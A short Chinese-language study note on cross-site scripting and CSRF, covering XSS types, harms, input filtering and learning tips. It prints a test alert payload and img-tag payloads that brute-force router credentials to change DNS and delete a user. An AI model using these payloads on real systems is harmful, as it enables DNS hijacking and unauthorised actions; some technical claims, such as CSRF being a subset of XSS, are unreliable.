XSS,全称Cross Site Scripting,即跨站脚本攻击,某种意义上也是一种注入攻击,是指攻击者在页面中注入恶意的脚本代码,当受害者访问该页面时,恶意代码会在其浏览器上执行,需要强调的是,XSS不仅仅限于JavaScript,还包括flash等其它脚本语言。根据恶意代码是否存储在服务器中,XSS可以分为存储型的XSS与反射型的XSS。
DOM型的XSS由于其特殊性,常常被分为第三种,这是一种基于DOM树的XSS。例如服务器端经常使用document.boby.innerHtml等函数动态生成html页面,如果这些函数在引用某些变量时没有进行过滤或检查,就会产生DOM型的XSS。DOM型XSS可能是存储型,也有可能是反射型。
危害
XSS可以直接从前端(浏览器端)获取到想要的数据,例如cookie,当前 页面地址并发送到某个服务器(利用AJAX发起一个HTTP请求,将数据 发送过去),也可以发起一个HTTP请求(利用AJAX等)来进行某种操 作(例如蠕虫)。 举个例子 可以通过XSS漏洞来获取到管理员的Cookie及后台地址,更改自身的 Cookie来以管理员身份登录到后台当中。 可以通过XSS漏洞来检测到用户在浏览器上的一切行为
控制
使用相应的过滤函数过滤输入,对于用户输入的数据,严格检查,对于关键字符(< > ‘ = “)进行 过滤。对于关键词(alert document script等)进行过滤。
需要学习的
1.学习XSS漏洞需要掌握HTML,JavaScript以及部分CSS知识。
2.需要熟练操作Burp Suite
3.需要熟练操作Chrome Dev Tools
经典注入
<script>alert('1')</script>
成功会有弹窗提示
51cto安全频道的几个文章
子集-CSRF(Cross-site request forgery)
CSRF是建立在XSS漏洞基础之上的,该漏洞要成功利用有两个要素。第一是页面存在XSS 漏洞,第二是能够成功访问该请求 img标签相当于发起了一个正常的GET请求,如果对方打开了该页面,则浏览器在渲染该 页面的时候向src的地址发起一个GET请求,也就相当于你在浏览器地址栏输入了src的地 址并进行了访问。所以可以用来进行401基础认证的爆破及利用某种身份完成前端的某些 操作。 举个例子 爆破并修改路由器DNS
msg=123456<img src='http://admin:123456@192.168.1.1/change_dns?dns=123.123.123.123'>
msg=123456<img src='http://admin:888888@192.168.1.1/change_dns?dns=123.123.123.123'>
msg=123456<img src='http://admin:12345@192.168.1.1/change_dns?dns=123.123.123.123'>
删除某个用户
msg=123456<img src='/manage/del_user?userid=123'>
DVWA的实例分析,收藏一下
http://www.freebuf.com/articles/web/118352.html